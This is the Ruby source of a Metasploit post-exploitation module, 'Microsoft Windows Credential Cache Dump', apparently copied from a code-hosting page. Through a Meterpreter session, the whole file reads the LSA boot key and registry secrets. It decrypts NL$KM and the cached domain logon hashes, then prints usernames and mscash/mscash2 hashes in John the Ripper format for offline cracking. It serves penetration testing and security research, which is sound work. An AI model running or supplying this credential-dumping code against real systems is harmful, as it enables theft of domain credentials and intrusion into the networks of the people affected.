506 lines
15 KiB
Ruby
506 lines
15 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
# post/windows/gather/cachedump.rb
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/post/windows/registry'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Registry
|
|
|
|
def initialize(info={})
|
|
super( update_info(info,
|
|
'Name' => 'Microsoft Windows Credential Cache Dump',
|
|
'Description' => %q{
|
|
This modules uses the registry, just like the hashdump module to extract the stored
|
|
domain hashes that have been cached as a result a GPO setting. The default is to
|
|
store 10 credentials, but this can be changed or disabled altogether.},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Maurizio Agazzini <inode[at]mediaservice.net>','Rob Fuller <mubix@hak5.org>'],
|
|
'Version' => '$Revision$',
|
|
'Platform' => ['windows'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('VERBOSE', [true, 'Verbose account information', false]),
|
|
OptBool.new('DEBUG', [true, 'Debugging output', false])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
|
|
def check_gpo
|
|
begin
|
|
winlogonkey = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", KEY_READ)
|
|
gposetting = winlogonkey.query_value('CachedLogonsCount').data
|
|
print_status("Cached Credentials Setting: #{gposetting.to_s} - (Max is 50 and 0 disables, and 10 is default)")
|
|
#ValueName: CachedLogonsCount
|
|
#Data Type: REG_SZ
|
|
#Values: 0 - 50
|
|
rescue ::Exception => e
|
|
print_error("Cache setting not found...")
|
|
end
|
|
end
|
|
|
|
def capture_boot_key
|
|
bootkey = ""
|
|
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
|
|
|
%W{JD Skew1 GBG Data}.each do |k|
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
|
return nil if not ok
|
|
bootkey << [ok.query_class.to_i(16)].pack("V")
|
|
ok.close
|
|
end
|
|
|
|
keybytes = bootkey.unpack("C*")
|
|
descrambled = ""
|
|
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
|
|
|
|
0.upto(keybytes.length-1) do |x|
|
|
descrambled << [keybytes[descrambler[x]]].pack("C")
|
|
end
|
|
|
|
return descrambled
|
|
end
|
|
|
|
def capture_lsa_key(bootkey)
|
|
begin
|
|
print_status("Getting PolSecretEncryptionKey...") if( datastore['DEBUG'] )
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ)
|
|
pol = ok.query_value("").data
|
|
print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
ok.close
|
|
print_status("XP compatible client")
|
|
@vista = 0
|
|
rescue
|
|
print_status("Trying 'Vista' style...")
|
|
print_status("Getting PolEKList...") if( datastore['DEBUG'] )
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ)
|
|
pol = ok.query_value("").data
|
|
ok.close
|
|
print_status("Vista compatible client")
|
|
@vista = 1
|
|
end
|
|
|
|
if( @vista == 1 )
|
|
lsakey = decrypt_lsa(pol, bootkey)
|
|
lsakey = lsakey[68,32]
|
|
else
|
|
md5x = Digest::MD5.new()
|
|
md5x << bootkey
|
|
(1..1000).each do
|
|
md5x << pol[60,16]
|
|
end
|
|
|
|
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
|
|
rc4.key = md5x.digest
|
|
lsakey = rc4.update(pol[12,48])
|
|
lsakey << rc4.final
|
|
lsakey = lsakey[0x10..0x1F]
|
|
end
|
|
return lsakey
|
|
end
|
|
|
|
def convert_des_56_to_64(kstr)
|
|
des_odd_parity = [
|
|
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
|
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
|
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
|
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
|
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
|
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
|
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
|
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
|
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
|
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
|
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
|
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
|
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
|
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
|
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
|
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
|
]
|
|
|
|
key = []
|
|
str = kstr.unpack("C*")
|
|
|
|
key[0] = str[0] >> 1
|
|
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
|
|
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
|
|
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
|
|
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
|
|
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
|
|
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
|
|
key[7] = str[6] & 0x7F
|
|
|
|
0.upto(7) do |i|
|
|
key[i] = ( key[i] << 1)
|
|
key[i] = des_odd_parity[key[i]]
|
|
end
|
|
return key.pack("C*")
|
|
end
|
|
|
|
def decrypt_secret(secret, key)
|
|
|
|
# Ruby implementation of SystemFunction005
|
|
# the original python code has been taken from Credump
|
|
|
|
j = 0
|
|
decrypted_data = ''
|
|
|
|
for i in (0...secret.length).step(8)
|
|
enc_block = secret[i..i+7]
|
|
block_key = key[j..j+6]
|
|
des_key = convert_des_56_to_64(block_key)
|
|
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
|
|
|
d1.padding = 0
|
|
d1.key = des_key
|
|
d1o = d1.update(enc_block)
|
|
d1o << d1.final
|
|
decrypted_data += d1o
|
|
j += 7
|
|
if (key[j..j+7].length < 7 )
|
|
j = key[j..j+7].length
|
|
end
|
|
end
|
|
dec_data_len = decrypted_data[0].ord
|
|
|
|
return decrypted_data[8..8+dec_data_len]
|
|
|
|
end
|
|
|
|
def decrypt_lsa(pol, encryptedkey)
|
|
|
|
sha256x = Digest::SHA256.new()
|
|
sha256x << encryptedkey
|
|
(1..1000).each do
|
|
sha256x << pol[28,32]
|
|
end
|
|
|
|
aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
|
|
aes.key = sha256x.digest
|
|
|
|
print_status("digest #{sha256x.digest.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
decryptedkey = ''
|
|
|
|
for i in (60...pol.length).step(16)
|
|
aes.decrypt
|
|
aes.padding = 0
|
|
xx = aes.update(pol[i...i+16])
|
|
decryptedkey += xx
|
|
end
|
|
|
|
return decryptedkey
|
|
end
|
|
|
|
def capture_nlkm(lsakey)
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", KEY_READ)
|
|
nlkm = ok.query_value("").data
|
|
ok.close
|
|
|
|
print_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
if( @vista == 1 )
|
|
nlkm_dec = decrypt_lsa( nlkm[0..-1], lsakey)
|
|
else
|
|
nlkm_dec = decrypt_secret( nlkm[0xC..-1], lsakey)
|
|
end
|
|
|
|
return nlkm_dec
|
|
end
|
|
|
|
def parse_decrypted_cache(dec_data, s)
|
|
|
|
i = 0
|
|
hash = dec_data[i...i+0x10]
|
|
i+=72
|
|
|
|
username = dec_data[i...i+(s.userNameLength)]
|
|
i+=s.userNameLength
|
|
i+=2 * ( ( s.userNameLength / 2 ) % 2 )
|
|
|
|
print_good "Username\t\t: #{username}" if( datastore['VERBOSE'] )
|
|
print_good "Hash\t\t: #{hash.unpack("H*")[0]}" if( datastore['VERBOSE'] )
|
|
|
|
last = Time.at(s.lastAccess)
|
|
print_good "Last login\t\t: #{last.strftime("%F %T")} " if( datastore['VERBOSE'] )
|
|
|
|
domain = dec_data[i...i+s.domainNameLength+1]
|
|
i+=s.domainNameLength
|
|
|
|
if( s.dnsDomainNameLength != 0)
|
|
dnsDomainName = dec_data[i...i+s.dnsDomainNameLength+1]
|
|
i+=s.dnsDomainNameLength
|
|
i+=2 * ( ( s.dnsDomainNameLength / 2 ) % 2 )
|
|
print_good "DNS Domain Name\t: #{dnsDomainName}" if( datastore['VERBOSE'] )
|
|
end
|
|
|
|
if( s.upnLength != 0)
|
|
upn = dec_data[i...i+s.upnLength+1]
|
|
i+=s.upnLength
|
|
i+=2 * ( ( s.upnLength / 2 ) % 2 )
|
|
print_good "UPN\t\t\t: #{upn}" if( datastore['VERBOSE'] )
|
|
end
|
|
|
|
if( s.effectiveNameLength != 0 )
|
|
effectiveName = dec_data[i...i+s.effectiveNameLength+1]
|
|
i+=s.effectiveNameLength
|
|
i+=2 * ( ( s.effectiveNameLength / 2 ) % 2 )
|
|
print_good "Effective Name\t: #{effectiveName}" if( datastore['VERBOSE'] )
|
|
end
|
|
|
|
if( s.fullNameLength != 0 )
|
|
fullName = dec_data[i...i+s.fullNameLength+1]
|
|
i+=s.fullNameLength
|
|
i+=2 * ( ( s.fullNameLength / 2 ) % 2 )
|
|
print_good "Full Name\t\t: #{fullName}" if( datastore['VERBOSE'] )
|
|
end
|
|
|
|
if( s.logonScriptLength != 0 )
|
|
logonScript = dec_data[i...i+s.logonScriptLength+1]
|
|
i+=s.logonScriptLength
|
|
i+=2 * ( ( s.logonScriptLength / 2 ) % 2 )
|
|
print_good "Logon Script\t\t: #{logonScript}" if( datastore['VERBOSE'] )
|
|
end
|
|
|
|
if( s.profilePathLength != 0 )
|
|
profilePath = dec_data[i...i+s.profilePathLength+1]
|
|
i+=s.profilePathLength
|
|
i+=2 * ( ( s.profilePathLength / 2 ) % 2 )
|
|
print_good "Profile Path\t\t: #{profilePath}" if( datastore['VERBOSE'] )
|
|
end
|
|
|
|
if( s.homeDirectoryLength != 0 )
|
|
homeDirectory = dec_data[i...i+s.homeDirectoryLength+1]
|
|
i+=s.homeDirectoryLength
|
|
i+=2 * ( ( s.homeDirectoryLength / 2 ) % 2 )
|
|
print_good "Home Directory\t\t: #{homeDirectory}" if( datastore['VERBOSE'] )
|
|
end
|
|
|
|
if( s.homeDirectoryDriveLength != 0 )
|
|
homeDirectoryDrive = dec_data[i...i+s.homeDirectoryDriveLength+1]
|
|
i+=s.homeDirectoryDriveLength
|
|
i+=2 * ( ( s.homeDirectoryDriveLength / 2 ) % 2 )
|
|
print_good "Home Directory Drive\t: #{homeDirectoryDrive}" if( datastore['VERBOSE'] )
|
|
end
|
|
|
|
print_good "User ID\t\t: #{s.userId}" if( datastore['VERBOSE'] )
|
|
print_good "Primary Group ID\t: #{s.primaryGroupId}" if( datastore['VERBOSE'] )
|
|
|
|
relativeId = []
|
|
while (s.groupCount > 0) do
|
|
# Todo: parse attributes
|
|
relativeId << dec_data[i...i+4].unpack("V")[0]
|
|
i+=4
|
|
attributes = dec_data[i...i+4].unpack("V")[0]
|
|
i+=4
|
|
s.groupCount-=1
|
|
end
|
|
|
|
print_good "Additional groups\t: #{relativeId.join ' '}" if( datastore['VERBOSE'] )
|
|
|
|
|
|
if( s.logonDomainNameLength != 0 )
|
|
logonDomainName = dec_data[i...i+s.logonDomainNameLength+1]
|
|
i+=s.logonDomainNameLength
|
|
i+=2 * ( ( s.logonDomainNameLength / 2 ) % 2 )
|
|
print_good "Logon domain name\t: #{logonDomainName}" if( datastore['VERBOSE'] )
|
|
end
|
|
|
|
|
|
print_good "----------------------------------------------------------------------" if( datastore['VERBOSE'] )
|
|
return "#{username.downcase}:#{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
|
|
end
|
|
|
|
def parse_cache_entry(cache_data)
|
|
j = Struct.new(
|
|
:userNameLength,
|
|
:domainNameLength,
|
|
:effectiveNameLength,
|
|
:fullNameLength,
|
|
:logonScriptLength,
|
|
:profilePathLength,
|
|
:homeDirectoryLength,
|
|
:homeDirectoryDriveLength,
|
|
:userId,
|
|
:primaryGroupId,
|
|
:groupCount,
|
|
:logonDomainNameLength,
|
|
:logonDomainIdLength,
|
|
:lastAccess,
|
|
:last_access_time,
|
|
:revision,
|
|
:sidCount,
|
|
:valid,
|
|
:sifLength,
|
|
:logonPackage,
|
|
:dnsDomainNameLength,
|
|
:upnLength,
|
|
:ch,
|
|
:enc_data
|
|
)
|
|
|
|
s = j.new()
|
|
|
|
s.userNameLength = cache_data[0,2].unpack("v")[0]
|
|
s.domainNameLength = cache_data[2,2].unpack("v")[0]
|
|
s.effectiveNameLength = cache_data[4,2].unpack("v")[0]
|
|
s.fullNameLength = cache_data[6,2].unpack("v")[0]
|
|
s.logonScriptLength = cache_data[8,2].unpack("v")[0]
|
|
s.profilePathLength = cache_data[10,2].unpack("v")[0]
|
|
s.homeDirectoryLength = cache_data[12,2].unpack("v")[0]
|
|
s.homeDirectoryDriveLength = cache_data[14,2].unpack("v")[0]
|
|
|
|
s.userId = cache_data[16,4].unpack("V")[0]
|
|
s.primaryGroupId = cache_data[20,4].unpack("V")[0]
|
|
s.groupCount = cache_data[24,4].unpack("V")[0]
|
|
s.logonDomainNameLength = cache_data[28,2].unpack("v")[0]
|
|
s.logonDomainIdLength = cache_data[30,2].unpack("v")[0]
|
|
|
|
#Removed ("Q") unpack and replaced as such
|
|
thi = cache_data[32,4].unpack("V")[0]
|
|
tlo = cache_data[36,4].unpack("V")[0]
|
|
q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
|
|
s.lastAccess = ((q / 10000000) - 11644473600)
|
|
|
|
s.revision = cache_data[40,4].unpack("V")[0]
|
|
s.sidCount = cache_data[44,4].unpack("V")[0]
|
|
s.valid = cache_data[48,4].unpack("V")[0]
|
|
s.sifLength = cache_data[52,4].unpack("V")[0]
|
|
|
|
s.logonPackage = cache_data[56,4].unpack("V")[0]
|
|
s.dnsDomainNameLength = cache_data[60,2].unpack("v")[0]
|
|
s.upnLength = cache_data[62,2].unpack("v")[0]
|
|
|
|
s.ch = cache_data[64,16]
|
|
s.enc_data = cache_data[96..-1]
|
|
|
|
return s
|
|
end
|
|
|
|
def decrypt_hash(edata, nlkm, ch)
|
|
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('md5'), nlkm, ch)
|
|
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
|
|
rc4.key = rc4key
|
|
dec = rc4.update(edata)
|
|
dec << rc4.final
|
|
|
|
return dec
|
|
end
|
|
|
|
def decrypt_hash_vista(edata, nlkm, ch)
|
|
aes = OpenSSL::Cipher::Cipher.new('aes-128-cbc')
|
|
aes.key = nlkm[16...-1]
|
|
aes.padding = 0
|
|
aes.decrypt
|
|
aes.iv = ch
|
|
|
|
jj = ""
|
|
for i in (0...edata.length).step(16)
|
|
xx = aes.update(edata[i...i+16])
|
|
jj += xx
|
|
end
|
|
|
|
return jj
|
|
end
|
|
|
|
|
|
def run
|
|
begin
|
|
print_status("Executing module against #{session.sys.config.sysinfo['Computer']}")
|
|
client.railgun.netapi32()
|
|
if client.railgun.netapi32.NetGetJoinInformation(nil,4,4)["BufferType"] != 3
|
|
print_error("System is not joined to a domain, exiting..")
|
|
return
|
|
end
|
|
|
|
#Check policy setting for cached creds
|
|
check_gpo
|
|
|
|
print_status('Obtaining boot key...')
|
|
bootkey = capture_boot_key
|
|
print_status("Boot key: #{bootkey.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
print_status('Obtaining Lsa key...')
|
|
lsakey = capture_lsa_key(bootkey)
|
|
print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
print_status("Obtaining LK$KM...")
|
|
nlkm = capture_nlkm(lsakey)
|
|
print_status("NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
print_status("Dumping cached credentials...")
|
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ)
|
|
|
|
john = ""
|
|
|
|
ok.enum_value.each do |usr|
|
|
if( "NL$Control" == usr.name) then
|
|
next
|
|
end
|
|
|
|
begin
|
|
nl = ok.query_value("#{usr.name}").data
|
|
rescue
|
|
next
|
|
end
|
|
|
|
cache = parse_cache_entry(nl)
|
|
|
|
if ( cache.userNameLength > 0 )
|
|
print_status("Reg entry: #{nl.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
print_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
print_status("Ch: #{cache.ch.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
if( @vista == 1 )
|
|
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
|
|
else
|
|
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
|
|
end
|
|
|
|
print_status("Decrypted data: #{dec_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
|
|
|
john += parse_decrypted_cache(dec_data, cache)
|
|
|
|
end
|
|
end
|
|
|
|
print_status("John the Ripper format:")
|
|
|
|
john.split("\n").each do |pass|
|
|
print "#{pass}\n"
|
|
end
|
|
|
|
if( @vista == 1 )
|
|
print_status("Hash are in MSCACHE_VISTA format. (mscash2)")
|
|
else
|
|
print_status("Hash are in MSCACHE format. (mscash)")
|
|
end
|
|
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Meterpreter Exception: #{e.class} #{e}")
|
|
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
|
|
end
|
|
end
|
|
end
|
|
|